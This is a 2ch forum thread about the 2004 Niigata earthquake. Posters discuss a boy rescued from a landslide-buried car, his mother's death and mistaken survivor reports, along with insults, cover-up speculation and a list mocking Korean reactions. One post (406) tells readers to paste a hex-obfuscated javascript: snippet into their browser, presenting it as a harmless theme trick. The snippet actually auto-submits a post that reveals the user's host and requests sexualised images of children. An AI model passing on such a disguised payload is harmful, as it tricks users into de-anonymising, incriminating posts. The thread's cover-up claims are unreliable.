>>203　釣りか？　つりなら信濃川で埋まってる車を吊り上げてくれ。

>>199
全部疑っていたらキリがないだろ･･･。
お前が死因を確認できる能力があれば別だが。

今でも捜索活動してるけど、もう震度３とか４の余震が2回も起こってるんだが。
やばいんでないの？

1人生きていただけでも奇跡。
そんな気がする。

>>199
昨日あのでっけー照明のやつなかったろ

これをリアルタイムで聞いていたかどうかで反応がかわるんだろうな。
３人生存！　で一斉にどこの局も生中継やって、
長男救出されてもう喜びでわきたっていて
被災者も「生存していて本当によかった」と答えていて、

数時間後に母親は即死でしたと聞いたときのショック。

>>218
まあ、午前中は震度６とかあったもんな。

特殊技能保有者を一人失っても一人のなんでもない一般人を助ける事が正解か

「完全版」大学在学中に月収３１２万を実現！　
http://pc6.2ch.net/test/read.cgi/yahoo/1098864071/

>>216
身内はマスコミ経由じゃなく直にレスキューからの報告受けてたんじゃないかな。
まぁ内容は同じだったろうけど。

父親が「市民団体」とやらに取り込まれないよう
周囲の人は気を付けて欲しい。
こういうのを利用しようとする輩が多数出現するんだよ。
災害の時って。

＞ほんとにお母さんは即死だったんだろうか？

そうじゃない場合もあるよ。ベトナム戦争か何かでで息子が殺された人も、親が
悲しむ理由から即死ってことで伝えたらしい。でもほんとはものすごく
長い時間苦しんで死んだらしいから。何でも公の情報が正しいということはない。

なにもかもドラマみたいに行く訳ないのに
勘違いしちゃってる人が多いんだな。
もっと現実を見た方がいいよ。

>>211
税金でレスキューの命を買ったつもりか。くだらねぇ妄想だな。

最初の３人生存の一報がなければこんなにがっかりしないで済んだのに＿|￣|○

>>215
工事現場はレスキュー現場より安全だ。あるまいしって失礼なヤツだな

やっぱり車にロールバーは必要だな

>>143
それが真相だろうな
母親の死がしばらく隠されてたのは怪しすぎ

大体が、仮に生存空間があったとしても、体中を強く打って
全く身動きひとつ取れない状態で、水なし、食料無し、
度重なる余震で車内がギシギシ軋むなんて状態で、
女性が4日も生きていられる訳が無い。
2日が限界。

つーーか仮に助かっても、気が狂ってるよ。

>>222
本来そうだけどね、誤報が罪作りだったんだよね。

>>228
そういえば、長男が救出された時点の親戚のインタビューで
「一生懸命子供を守ったんだと思う。母親はよくやった」
見たいな事言ってて、あれ？っと思った。

http://headlines.yahoo.co.jp/hl?a=20041027-00000012-yom-soci
＞医師らが、土砂に埋まった車の中で何か食べ物を口にしたかを聞いたところ、
＞優太ちゃんは「ミルク」とだけ答えたが、幼い子どもの言葉だけに、
＞医師らは「土砂に埋まっている時に飲んだかどうかは分からない」と話している。

胃と腸の中調べれば、いつ何を飲み食いしたかくらいわかるんじゃないの？

>>231
そんなの知るより美談にした方があらゆる人のためになる
冷めた目で見るのが格好いいとでも思ってるの？

＞死後硬直は時間が経つと解けるわけですが。

し、知らなかった…
仮に即死で死後４日なら青白いとか何か違いがでるんじゃないの？
死者に触った事まだないからわからないんだけど…

１メートル程度の岩と車のあいだで４日間ミルクをすすり 自分で自分の命を守った子

土砂に埋まったワゴン車の中に、隊員が「だれか聞こえるか」と声をかけたところ「あー、うー」というかすかな反応があった。
「本当か」「まさか」。驚きの声を漏らした隊員たちは、すぐに「よし、絶対に助けるぞ」と言葉をかけ合い、作業に取りかかった。
５―１０トンもの巨岩に押しつぶされたワゴン車。　トレーナーに紙おむつだけという姿の優太ちゃんは、自力で車外に這い出し、
横倒しになったワゴン車の底部と岩の間にできた幅５０ｃｍ×１ｍほどの空間に入っていたとみられ、衰弱のせいか
ぼうっとしている感じだった。しかし、隊員たちが「よく頑張った」と声をかけると、両手を広げて隊員にしがみついてきた。
長岡赤十字病院では、鳥越克己・小児科部長らが２７日午後７時前から会見し、「助かったのは奇跡に近い」と語った。

まゆちゃんを早く助け出してあげてほしい。
寒い中、レスキュー隊の皆さん、御苦労様です。

お母さんのご冥福をお祈りします。
ゆうたくんが後遺症もなく、たくましく育ちますように。

>>230
なんで今回のケースで情報操作せにゃいかんのだ。

>>211
消防士やレスキュー隊の訓練の多くは死なないための訓練だろ。

ていうかあれだな。レスキュー隊批判してる奴って
＞ある意味死んでも災害者を救助するのが仕事
こんなのばっかだな。釣りじゃなかったとしたら相当だぞ。
そういうこというのネットだけにしとけよ。

真実は闇の中。。。

救助する側は自分の身の安全を最優先してそれでも救助できる状況なら
救助すれば十分だと思う。被災者は気の毒だと思うが自分の命を最も大事に
するのは悪いことだとは思わない。

>>241
美談嫌いだから。

>>242
ここで当てずっぽでそんなこと語り合ってどうすんの。

>>235
土砂には勝てんがな。転落だけならマシだけど

つまり母親は即死じゃなかったけど、レスキュー隊の都合で即死にしたってことだな

娘は死んでるのか？
まあ生きてるとは思えないけど

瓦礫の山から子供を救ったトヨタ・エスティマの株が上がるな。
土砂災害に強い車の形ってあるのか？
ロードスターは除く。←これで土砂崩れにまきこまれたら運が無さ杉。

>>234
アホ。工事現場みたいな安全な場所だったらまだしも夜間作業もできなくは
無いが、こんな装備も不十分、しかも2次災害の危険があるようなところで
レスキューの夜間作業なんかできないよ、って意味なんだがな。

日本語理解できないのか？

>>205
いや、なんか昔の阪神淡路大震災ん時の兵庫県知事じゃねーんだが。

長岡市長が、どうも「わが市に軍隊が入るのは・・・」みたいな、
要するに拒否したっぽい話が流れてる。

本当だとしたら、あの状況で「なぜオレンジレスキュー？自衛隊の分野だろ」
と誰もが思う映像は、また左撒きサヨの妄想の「被害」とも言える。

母親の死が”隠されてた”って言ってるやつは
脳みそ膿んでるのかね。

現状娘さんを脈がないの分かってて生存を祈って救出作業続けてる
のがどういうことか分からないのかね。

そもそも”死亡確認”ってのもはどこでも誰でも出来るもんではない。

>>253
足が見えてるって云ってたね。逆に云うと足以外は泥に埋まってるって事なんだろうけど

>>209
んでどれだけそれが正確なの？
どんな機械でも機械が教えてくれたことは絶対に正しいって思う人？
っていうか、記者会見で公式発表があったわけ？３人の心音確認。
速報も速報の初出情報が鵜呑みにできて、それなのに後の詳報が
誤報と思えるなら、色眼鏡越しでモノを見ている自分に気づいた方が
いいよ。

>>231　悲惨な事件が数々起きている中で、今回だけ上手くいくみたいな
ことが起こっても世の中の理不尽さを感じるだけ。
たしかにこれが現実って気もする。誤報がなければ長男の救出だけで
もっと有り難味を感じれたかもしれないのに。

欧州の報道機関はどんなに確実な情報でも、ニュースソースが二つ以上ないと報道しないとか。

阪神大震災の時もどれ程の修羅場だったか分かってもらえる中継だったと思う
(´-`).｡oO()

母即死決定で、さかさ垂直＆頭部は土砂ってんなら長女も即死だろ

最初に誤報をしたのは
テロ朝？？？

>>143
水吸った土はハンパじゃなく重いからな。レスキューもプロだけに、現場みた瞬間に絶望したのかもな。
正直俺も三人ダメだと思ったし。

俺みたいなのがテレビ見ながら判断するのは勝手だが、やっぱ現場は生存前提で動いて欲しいよね。
もしあなたが書いてる通りなら、ということだけど。

>>246
レスキューを批判してる香具師は、誤報に振り回されたやり場の無い感情をレスキューに転嫁してるだけ。
きっと時間が解決してくれるよｗ
そっとしといてやろう。

お母さんの魂が子供のそばに残っていて
子供に話し続けて励ましたり、周りの人を呼んだりしたんじゃないかなあと思う。
たぶんお姉ちゃんも一緒に。

土日にテレビで地震のニュース見て、
月曜に予約して録画したブラックジャックが自粛で前やった話を放送しているのに内心ガックシし
キスイヤ！見ながらお菓子を食べ、
と、私がそうしている間にも優太くんは一人で寒さや暗闇や空腹と闘ってたんだね・・・。
ママに呼びかけても返事もなく。無事報道に小躍りしたものの、ニュース速報見て放心状態になりました。同じ、子を持つ親として心に穴があくような思いです。お母さんのご冥福をお祈りします。みなさん、どらえもん募金に電話しよう！
Q2の、53の5000番ですよ！かかりにくくなってるけどって微妙にスレ違いでスマソ。

病院に入ってから長い時間が経っても死は発表されなかった。
その間にどう発表するか相談してたっつーことだろ。

>>257
同意。
利口ぶってるつもりで
馬鹿と無知と育ちの悪さを露呈してどうするんだろ。

>>255
下手な日本語だな

韓国掲示板　主な反応。

828839 韓 : 地震で泣いている 日王 (*'ω'*)/ [1] new jot_menggu_ 2004.10.23 11
828838 韓 : 地震は日本人に天罰です.地震は日本人に天罰です. [1] new yamato_da17 2004.10.23 4
828806 韓 : 天罰天罰天罰天罰天罰天罰天罰... [2] new
828784 韓 : 地震は日本人に天罰です.地震は日本人に天罰です.地震は日本人に天罰です. [1] new
828768 韓 : Kamikaze! Kamikaze! Kamikaze! [1] new waenom1 2004.10.23 25
828767 韓 : 地震消息が知られた瞬間私は笑った [3] new sol1463
828764 韓 : 地震は 天罰!!!! 日本人は 沒殺になる!! 喜!喜! [1] new eksrhkeogkr
828760 韓 : 地震は日本人に天罰です.'地震は日本人に天罰です. new yamato_da17 2004.10.23 21
828734 韓 : 地震は日本人に天罰です. [8] new yamato_da17 2004.10.23 67
828732 韓 : 新幹線脱線Kita!!!!!!!!!!!!!!!!!!!!!!!!! [2] new lilyrise 2004.10.23 108
828731 韓 : 日本人は今度にも在日を虐殺しますか? [2] new digydigy22 2004.10.23 48
828727 韓 : まっ暗になって, まっ暗になって, まっ暗になって new sinjm09 2004.10.23 23

報道を鵜呑みにしちゃいかんなと、常々おもっていたんだが
今回は簡単に信じちゃった。あぁ旦那さん嬉しいだろうな、よかったなって。
自分がそうであって欲しい思う報道ほど、きちんと疑ってかからんとダメだな。

母親は即死で良かったよ。
仮に暫く生きていたとしたら、その方が100倍残酷。
何度も余震があったんだし、生半可な拷問じゃないぞ。

>>259
昼間の中継を見てた人なら判ると思うが、
とにかく日中は「3人生存」「3人の心音確認」「女性の応答アリ」
でどこの局も報じていた。ブルーシート登場の場面までは。

>>236
口腔内、土と砂、ほぼ即死、と報道が出たね。

さて、>>143とオマエは、どういう「ごめんなさい」を見せてくれるんだろう？
文字だけってのも、こうなると大変だね。

３人の心音を電波なんとか計で確認ってのは結局なんだったんだ？

>>233
そうだよね。なんか諦めきれない。。。

【奇跡的生還】優太くんの栄誉をたたえるスレ【生命力】

本文
恐るべき生命力の強さで頑張り抜いて､奇跡の生還をした優太くんの栄誉をたたえよう

どなたかこのスレを立てていただけませんか?

かなり怪しいことだけは確かだよな
必死なやつは何か利害があるんだろ

夕方のニュースだとフジだけ「脈がない、生体反応なし」
って報道してて、おいおい勝手に殺すなと思って観てたんだが。
フジが正しかったのか…。

どこがハイパーレスキューなんだよ、かったるい奴らだ、全然専門家じゃねーじゃん。
段取り悪いし、日本一の土木屋だったら最高の段取りするぞ。
そもそも土が相手じゃハイパーレスキューなんぞ素人同然じゃねーか。
相手は、土と岩だろ、本当の専門家は土木屋だろ、日本一の土木屋を連れて来い。
重機が使えなけりゃ、日本一の深礎屋を連れて来い。
深礎屋にスコップ１本持たせたらハイパーレスキューなんぞ話にならんぞ。
崩れる事気にしていつまでもちんたらやってるから終わらねーんだよな。
こいつら土圧を支持して掘るという基本的な事も知らねーんだよな。
今回こいつらの仕事悪すぎるは、このハイパーレスキューの連中反省してんだろうな。

>>271
別にあんたの意見に反対ではないからこれまでにしておくが、
別に変じゃあないよ。

マスコミ妄信してるやつってなんなの？
うざいんだけど。

＞279
やつはかなりのサバイバーだよ

たいした問題じゃないな
救助に影響が出るわけじゃないし
勝手に語ってろ

>>277
結局ノイズや干渉なんだろな、かなり敏感な機械だろうし。

>282
レスキューは人間相手だと思うだのですが・・。

>>254
卵形の車が衝突の衝撃を各方向に逃せるので良いみたいだ。
まあ、車を設計する人は新しい安全対策をドンドン盛り込んで欲しいな。

>>281
今思えばそういう事だね・・・。

>>279　どの板に立てたらいいかわからん

>>282
日本一の土木屋を探し出して現場につれてくるまでに何日もかかるよ。
現地の状況を考えりゃわかることだろに。

最初に３人とも生きてたという話は本当っぽい
救助中の失敗を隠すための、お上側の情報操作だろう
病院に着いてから母親が氏んだなんて話ができすぎてる

レスキューは、税金で養われているのだから緊急時には身命を投げ打ってでも
任務に当たらなくてはならない義務がある
いつもそうだがここ１０年のこの国の救難体制は最悪且つ最低だ
２次災害が恐かったら何もできない
恐いなら恐いで崩れた土砂全体の超音波探査を事前にするとか、もう少しやるべき
手段があったはずだ

何にせよマスコミの情報管制及び操作をとりあえず成功させたお上は、いつかそれがバれて糾弾
される
っていうかここの香具師ってどうしてこんなに単純なのかね？
今回の事件を、最初から見てれば必ず漏れみたいな疑問が沸いてくるよ
情報操作してるのはお上の方だってね

>98の厨
マッチポンプ乙

>>228
父親は、現地に行っていたから状況把握してたと思うが、おじいさんや親類が、
集まってテレビをみていた家にあがりこんで、誤情報で3人生存かという状態で、
親類を取材してコメントをとったのは、ひどすぎる。

まあ、あの状況で生存者が居るはずがないという先入観が
救助隊にあったことは否定できないだろうな。

後悔先に立たず・・・

>>282
釣られてやるが
だるま落とし状態に余震の繰り返しで
二次災害オレンジ30人全員あぼーん

>>277
知られてない二人が埋まってたらどうしよう

>>209

なんか怪しげな製品だな
税金で購入しているのなら　公開すべきだよ
胡散臭い製品という漢字がする。

>>293
そうそう、俺は面倒だから書かないけどそういうことと思うよ

>>142

http://www.google.com/search?num=50&hl=ja&c2coff=1&q=%E4%BA%BA%E5%91%BD%E6%8E%A2%E6%9F%BB%E8%A3%85%E7%BD%AE&lr=lang_ja

情報が錯綜してる時点ではレスキューを責めることも出来ないし、
俺たちが彼らに何か言える立場でもないだろう。
ただ、マスコミのニセ情報を大々的放送癖だけは治して欲しいね。

いま地震あった？俺が揺れただけか？

優太君は、土砂の直撃を受けず、石と車とのごく小さな空間の存在で助かった
んだろう。それにあまりに幼い年齢だから、大人ののように恐怖がただちにス
トレスにはならない。ママを呼んで泣いては疲れて寝るということを繰り返し
てたんじゃないか。
またミルクを飲んでたそうだけど、案外手の届く範囲に哺乳瓶が転がっていた
とか。

それこれ考え合わせると、やはり奇跡だよなー。

>>275
その報道自体、ニュースソースは「共同通信」の配信記事から
各社が精製していたんだろう？

>>118
レスキューが視聴率 なんて気にするわけがないだろ


出世は気にしていたかも知れないがな

>>273
注目される事件事故の実況速報は、誤りも多分に含む。
そう言う場でメディア対応する人間は情報を握る立場にないし
確度を保てば状況説明にもならない。
右往左往している現場が生中継で報道されていくわけで。
ってことだなぁ。

昔見たレスキューで一番残酷だったのが、洪水で足を挟まれて
クビから下が水に浸かった状態で、助けを求めてたブラジル？の小学生高学年
くらいの女の子。

最初は笑ってたのに、レスキューが中々上手く行かなくて、何十時間
も時間がかかる内に、段々衰弱していって息をひきとった。

あれを見ていたブラジル国民はたまらなかったと思う。

母ちゃん死んだのか、生き残った子どもは強くいきろ

レスキューを非難してる人がいるが、余程根性がねじまがっているんだな。
余震が何度となく襲ってくる中での作業には本当に頭がさがる。
大きくグラグラっときた時にもちょっと作業を止めて上を見上げただけで
すぐに黙々と作業を再開していて驚いた。
今ももう生存していない子供を救出する為に危険な夜の作業をしている
レスキューの皆さんの安全を祈る。

夜のニュースだと運転席と助手席の間に石がめり込んでて
母親は即死になってるけど。病院まで生きてたの?

＞301
ママが、長男のためにミルクの入ったポットを持たせていたと
どこかのスレで見たけれどソースはなし

なんにしてもレスキューに労いの言葉をかけたい。
そして反省すべき点があるなら次にいかしてほしい

>>283
いやまあ、すまんかった

作業を継続したがってるように見えるレスキュー隊に一時撤退指示を出したのは
総務省のお役人さんらしいね。混成部隊を作って作業の呼吸が合わなかったのも
総務省の指示の結果らしい。

>>123
青シートは糞尿まみれ隠しかと思ったが、毛布の掛け方が生存者に対するものでは
なかった。

>>128
現場に自衛隊の医師資格持ちがいたわけだが。

マスゴミは対策本部の誤報にすりかえる悪寒がしてならない

>>282
本来、オレンジの出番な場所ではない。
>>256参照

>>256
自衛隊は人命救助の専門じゃないだろうが。
馬鹿か、おまえ。
何でもかんでも都合の悪い事はサヨのせいか？

長女の方は「生存反応がない」そうだけど…。
何とか蘇生してもらいたいものだ…。

見殺しだったとして、証明するのは無理だな
内部告発町

>>246
同意。

こういうのがこじれると、サヨになったりするんだよな・・・

昨日うちきらなければ生きていたかもしれないな・・・。

お役人のやる事のほとんどが気に入らない俺でもこの救出活動はあまりにも危険すぎると思った。

>>209
あてになるのかね・・・地中に電波かい。
しかも反射波を拾う、とあるが、短波では地中を通らんし、長波だと対象をすり抜けちまう・・・。

大体硬い地面を抜けて柔らかい人間で反射できるのかと。
まぁ地中に空洞がある場合は有効かもしれんが。

まあ基本は自己責任、役所なんて当てにならないから、4日助けられずに死んでも仕方ないよな

>>293
＃病院に着いてから母親が氏んだなんて話ができすぎてる

ほぼ即死、と状況も報道されてるが？

レスキューの人たちにも家族はいるんだよな
あそこにパパがいるんだって思ってテレビ見てる子供もいるのかな
あそこに夫が息子がって思って
テレビ見られない家族もいるわけだよ



な・・・・。

てか、二次災害うんぬんは分かるよ。
でも、それなら、何で今日はさっさとやめないの？
女の子はもう死んでるでしょ。
何で、「今日だけ」リスクを高めるわけ。　リスクを高めるのは
昨日ではなかったのか？

結局、誤報の源は共同通信？？
だったら不思議はないな。

>>308
現場から移送する前から心肺停止情報があって、フジテレビでは、遺体と呼んでました。

誰も悪くない

三人生存！生存！！！！と大声を振り上げる
テレビ朝日など、正にマスコミの傲慢のきわみだな。

ブルーシートが出てきた時点で、母親はもうダメかって感じだったけど。

フジテレビひどすぎ・・・

長女の捜索活動が続いているといった後、脈は無い模様と伝えた直後に、
生存を信じて救出活動が続けられているとか言ってやんの・・・

＞325
雨降っていたからだろ
震度6の余震があったから

>>309
本人がミルクを飲んだといってるそうです。ただし事故前か事故後か不明。

今年の流行語大賞は

『情報が錯綜』

まあ、これだけは確か。マスコミはクソ。

http://headlines.yahoo.co.jp/hl?a=20041026-00000317-jij-soci
報道関係者、自衛隊ヘリが救助＝孤立地区で「乗せてって」−県が各社に抗議・新潟

地震国で火山の噴火もある国なんだから自衛隊に災害救助専門部隊があってもいいよな。
駆逐艦なんか持ってても活躍する場がないだろ。
F15だって交戦権がないんじゃ持っていても宝の持ち腐れ。
それよりは、生き埋めになった人を助ける専門家や生き残ってる人を探す犬を育成したほうが役に立つ。

クソマスゴミが上がります。

昨日すぐに行動してたらな・・・

>>293
×：レスキューは、税金で養われているのだから緊急時には身命を投げ打ってでも
　　任務に当たらなくてはならない義務がある

○：レスキューは、緊急時には身命を投げ打ってでも
　　任務に当たらなくてはならない義務がある


なんでもかんでも「税金論」でしか語れない思考停止頭脳が
「お上側の情報操作」なんて妄想を生み出す。


税金で雇われてようが、私財で雇われてようが、ボランティアだろうが
命を受諾して任務に当たる以上、彼等に生ずる義務に変わりは無い。

>>323
病院についた時に母親死亡ってのは誤報なんだろうね。
それとも確実に確認したって意味なのか。

レスキューがわりいだの、情報操作だの騒いでる人、巣に帰ってね。↓
http://news13.2ch.net/test/read.cgi/news/1098869751/l50

どうしてもマスコミは悪くないと言いたいやつが居るようだが･･･ｗ

ぶっちゃけレスキュー隊は失態してたとしても
別に隠す理由はない訳で、、、。

>>301>>309
ニューステで言ってたよ。
普段からミルクをよく欲しがるので
ポット持たせてたんだって。

ただそのミルクを飲んだってのが被災後か前かは
分からないんで生き残ったのに直接影響してるか
どうかは不明だそうな。
医者曰く元気な子のようだし例えのまず食わずでも
４日くらいは生き残れても別に不思議でない。

>>311
こちらも大人げ無くてすみませぬ。

>>321
マイナスイオンに踊らされるほど、時に簡単に
技術を信じてしまう人たちって多いし。
信じて欲しいことは信じないし、まじ馬鹿の壁感じる。

昼間の中継を見ていたわけだが、今思い返せば
自衛隊の医務官登場、脈を確認、ブルーシート登場・・・
って辺りで現場は死亡と確認したんだろう。
でも中継見てるときには全然気が付かなかった。
ブルーシートも母親が全裸もしくはそれに近い状態なので
カメラから隠す配慮をしているのかと思ってた。

>>325

禿同

>>307
根性曲がり、なんてもんじゃあないだろうね。

つける対象が見つからなければ、米粒の形にさえイチャモンつけたいような
性格してるバカだから、周りがどう言っても受け付けやしないだろうね。

毒巻き散らかして、ますます周囲から嫌われる、って無限連鎖で
自分の価値を下げてく連中だよ。

＞346
別スレで母親の足が車体にはさまっているので両足を切断したためだと聞いた

>「女性の声を確認」

すごいな、、母親はほぼ即死だったらしいじゃん…。
何でこんな誤報が出てくるんだよ…。

税金税金言ってる人ってプロ市民？
こういう人に限って、税金払ってなかったりするんだよねｗ

>>325
タイミングを間違えたんじゃないのかな
で、昨日の失敗を今日挽回しようとパフォーマンス中

>>338
＞昨日すぐに行動してたらな・・・
結果は同じだろう。母娘とも即死だったと思われ。
長男が手遅れにならなかったのが不幸中の幸い。レスキュー隊よくやった。

>>350
生きていた子供の声が高かったから、女と勘違い

>>340
多分だけど、「死亡」ってのは厳密には法的な判断だからじゃないのかな。
あくまで、病院に搬送されるまで「心肺停止。生死は不明」って言ってた気がする。

この3匹がどーなっても

　　　　　　　　　　　
　　　　　　　　どーでもいい　


ってのが本音だけどな

>>315
バカはオマエ。それも「脳味噌腐敗」のおまけ付きでバカ。

１１師団の災害対策練度は半端じゃない。

と言うより、サヨの一言で速攻に反応したオマエの香ばしさが（ｒｙ

>>350
よく読めよ

それは子供の声の間違いだったって散々がいしゅつ

ｵﾏｴﾗ全員憶測でモノを言うな
バカめ

堂々と３人生存と報道してしまった手前
母親の死亡が判明しても、すぐに流すことが出来なかったのが
変な憶測を呼ぶ原因になってしまったと思うが。

>>331
当然生存を信じての救出活動だろう。
死亡確認しちゃったら、作業中断になる。

命を張った将棋崩し
失敗は許されない…

>>350
それがマスコミ
実況してたけど失言とか多かったし

またアカヒとｔBSが捏造報道してたのかよ

タンカで運ばれた奥さんが子供みたいなサイズだったよな。
わかるだろ。即死だよ。

>>55
それ俺も見ていた。
後はお母さんだけだなと思っていたよ。
それが違ったと分かった時は？？？？？だった。

よく一人で暗闇の中にいたね。
自分ならそれだけでも発狂しそうだ・・。

しかし防災担当大臣って役職あれども、権限も組織も何も無しなんだな。
手駒となるような災害救助の専門部隊を持ってるわけでもなく、
かといって、非常時に自衛隊や警察消防を指揮監督できるわけでもなく･･･

もしかして、消防無線とかで3人生存とかってやり取りがあって、
それを聴いてたどっかの局が早とちりしたとか

>>345
>>209の先をよく読んでみると、
＞倒壊した家屋や瓦礫に向かって電磁波を放射します。
となっていた。倒壊家屋とかなら隙間が多そうだから意外に有効かもしれない。
でも、今回のような土砂による生き埋めにはほとんど役に立たないような気がする。
マイナスイオンは・・・企業もイメージに乗っかってるからなぁ・・・。
正しい科学知識っても難しいし、何とも言えませんなぁ。

bbc.co.ukのアジアニュースにも載ってんだよねこの３人の写真

>>307 禿同だな、現地の警官や消防隊員達の中には自分自身も被災している人が少なからずとも
いるはずだ、この２ちゃんの中にも自ら救助活動したいと思う香具師も多いだろうが、色んな理由が
あって現地に行けなくてＮＥＷＳに噛り付いて見て悲しい思いをしてると思う、俺もそうだ・・・・
蚊帳の外で見ているだけの人間には、災害の現地で活動している人達をあれこれ言う資格なんか
無い。

>>369
早とちりしたどっかの局だけならいいが、
それをみたほかの局も、あわててテロップ流したのだろうか・・・
最初に流したのどこだよ！！

>>365
子供みたいなサイズ

の意味がわからない････

>>354
>>358
ごめん、>>1だけ読んでそこだけすごい腹が立ったから、
ついスレ読まずに書き込んじゃった…。

で、何で昨日は照明が無かったのかな？
何かしら理由はあるだろうが、それを消防には説明して欲しい。

そして、より高いリスクをかぶるなら、今日より昨日だと思うけどね。

仮に昨日夜遅くまで作業しても、結果は同じだったかもしれないが、
問題はプロセスだから・・・・・・・・・・・・。今後のためにも

>>368
何かあったときに責任を取る人です

>>366
ゆうた君の救出場面の再放送だろ。何度も挿入されてて、
テレビの出演者もライブでの救出と勘違いしてたぞ。

まったくあわてもんが大杉。マスゴミでもこういう奴らが
誤報垂れ流してんだろうな。

マスコミが、
家族の心をもてあそんだってことね。

マスコミっていつも同じで酷い連中だな。

>>368
大臣なんだから国会で答弁するのが仕事なの。

>>374
毛布でぐるぐる巻きにされてたその姿が、とても小さく見えたんだよ。
最初は子供かと思った。

>>373
現地のマスコミ同士の会話の中で、おい、なんか3人生きてるらしいぜ、
みたいな噂が広まっていったとか。

>>373
そうそう、他の局が放送している内容をソースに
別の局がニュースにしたりするんだよな･･･。

前にも似たような事があったのに、懲りないのか。

>>351
税金とか血税とか、まあ、プロ市民系でしょう。
といいながら、国益には疎いし、中国様には自分の金でもないのに湯水のごとく税金をくれてやれって主張する。

>>355
おそらくそう言う事でしょう。
病院に到着した救急車から運び出された時の状態を見る限りでは
少なくともヘリや救急車で搬送中に心配蘇生術を施した様子が
見られなかったからね。
あの画面みた時点で、あー、ダメだったんだなと判断出来たけどね。

現場で脈拍や瞳孔散大、身体硬直などで死亡を判断して、
死亡確認と検死の為に病院に搬送したと言う事でしょう。

マスコミはこんなときにも憶測でモノを書くのかよ、と。

>>378
いや、党首討論冒頭で民主党の岡田が「2名救出され・・・」
とコメントしていたので当時はそのような報道が流れていた。
ＮＨＫも一時2名救出と言ってたが後に訂正。

２次災害が怖いとか、命の惜しい奴がレスキューやってどうする。
普通のおまわりさんだって危ないところに飛び込む仕事だが、
レスキューはもっと危ないところに飛び込む仕事でしょうが、安全に仕事するなら事務でもやらなきゃな。
自分の命を投げうっても助けるのがレスキューの中のレスキュー、それがハイパーレスキューだ。
死んでから助けたって、それはただの死体処理班だけど。

　これって切羽詰った現場だし、現場隊員が逐一状況発表する
わけにもいかないから、情報が錯綜してもしょうがない。
　結局、これって見る側の気持ちの問題だったんではないのか？
４日も経った時点で「生存！？」って聞けばビックリするし、「３人とも生存か」って
事を聞けばなんとか助かって欲しいって、誰もがテレビの前で祈るだろ。
最初の男の子が大丈夫だったって事で否が応にも期待は高まるから、
母親がああいう結果で落胆の度合いも激しかったってことじゃないの？
　何とかならんかったものかっていうエネルギーがあちこちに向かうから、スレにある
ようなマスコミ・レスキューへの反射的な批判もあるし、モヤモヤしたものも残ってるしで。

>>381
小さいから子供だな・・・ん？重そう・・・どっちだ？って思った。

>>385
旦那さんが病院に行っていた。
一応身内の確認が必要ですし。

NHKで二人め救出とか言って？え？いつの間にだよ！
肝心なところ流さなねーのかよ！馬鹿NHKと思ってチャンネル変えた覚えがある。
あそこらへんで情報がめちゃ混乱していた事がわかる。

>>388
もう死んでいいよ、お前。

NHKは救出劇の
生放送やめたんやね

>>345
トルコか阪神か忘れたけど、
犬の鼻もシリウスも探査できなかった人命を、
レスキュー隊員の耳が発見したって話もある。
かすかな声が聞こえたんだとか。

>>388
マンガの読みすぎ

たしかに毛布でくるまれた母親の体は小さくみえた。
上のほうのレスにあるのが本当なら、足を切断したからかもなあ。

「おかあちゃん！おかあちゃん！」
「しっ、あまり大きな声出しちゃダメよ…、助けがきっときますから
　それまで騒がないようにね？」

　巨大な闇に包まれて、押し潰すような音も止み、
母親はまだ幼い息子を諭す様に柔らかに語りかけます。
　なにが自分に起こったかも理解できない愛しい息子を救おうと、
母親は腕を動かそうにも、抱こうにも、土塊に挟まれて
チャイルドシートに座る息子の頬にも手は届きません。
後ろのシートの長女からは声も聞こえず、泣く力を抗う力に換えんと必死です。

そうして、四日経ちました。息子からはささやかな息遣いしか聞こえません、
もう諦めかけたそのとき、遂に救出の声が届きます。母は、母親は己の最後の一息を
この一言に託します。

　　　　　　　　　　　　　　「息子を！息子を助けて！！」

　土の中、すぐ隣に居ながら抱き合うことも出来ずにお別れをする家族、
　焚き火の前、抱き合いながら、慰めながらされながら、一塊になる家族、
　都会の只中、部屋に一人、家族を思うことなくそれぞれが孤独を託つ家族、

この緑の星の上で、今日も一日が暮れます、みなさんお元気ですか？

今回、政府の対応は凄く速いと思う。自衛隊もガンガン出動してるし。
阪神大震災と単純には比べられないけど、あの時の政府の対応と比べると
格段に進歩していると思う。個人的には新幹線の頑丈さに驚いた。

相変わらず蛆虫以下なのはマスコミなんだね。

>>10
ずっと見ていて何故気づかん！

>>355
なるほど。それで納得しました。

昨日の夜はなぜやらなかったって言ってるやつがいるけど
単純に投光機がなかったからじゃないの？
俺らが感じる生活圏の夜の闇とあの現場の夜の闇は全く違うぞ。
頭上何十メートルにわたる急斜面にバカでかい瓦礫がゴロゴロしてるんだから、
ライトで車があるところだけ照らしてればいいという問題じゃない。

>>388
それは少し違うぞ。

　母親死亡確認の情報遅すぎ
　病院の会見までに時間かかりすぎ

気になる。16時50分に搬送。死亡テロップが18:55あたり。
普通２時間もかかるの？

>>388
自分の命を守る事が出来ない人間は他人の命すら守れないのですよ。
と釣られてみる。

（準備）
2ch専用ブラウザを使用している人は、
ＩＥなどの一般的なブラウザでこのスレを開いておく。

１、
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b
46524f4d2e76616c75653d2766757369616e6173616e273b4d455353414
7452e76616c75653d275c75333045445c75333045415c75373533425c75
353043465c75333034465c75333036305c75333035355c7533303434273
b7375626d69742e636c69636b28293b7d';for(l=0,e="";l<s.length;l+=2)e+=
'%'+s.substr(l,2);eval(unescape(e));
をクリップボードにコピーし、メモ帳などのテキストエディタに貼り付ける。

２、
改行を外して１行にする。

３、
１行にしたものをクリップボードにコピーし、アドレスバーに貼り付ける。

４、
Enterを押す（もしくは「移動」をクリックする）。

見慣れたスレのデザインが・・・
俺はこれをやって思わず笑ってしまったよｗｗ

921 ：奥さまは名無しさん ：04/10/27 12:10:13 ID:???
叩いてる人たち、そんなに被災者の人たちが心配なら
こんなとこで荒らしなんかやってないで募金活動でも
被災地に行ってボランティア活動でもやってれば？
そんな簡単なことすらしないでバカみたいに騒いで、
こんなとこまで来て韓国ドラマ叩きですか。
被災者の人たちも可哀想だけど、
それで楽しみにしてたドラマが見れなくなった人も
同じぐらいに可哀想でしょう？
人の気持ちをわかってあげれる人になってください。
http://tv6.2ch.net/test/read.cgi/tv2/1098850826/

>被災者の人たちも可哀想だけど、
>それで楽しみにしてたドラマが見れなくなった人も
>同じぐらいに可哀想でしょう？

>>406　お前正直うざいよ

なんかさー
それらしい言葉を並べ立てて
レスキュー隊を批判したり
被害者を蔑ろにするようなカキコする人って

引き篭もりや精神異常者の確立が
高いような気がする。

>>406を実行するとえらい目にあうよ

>>388
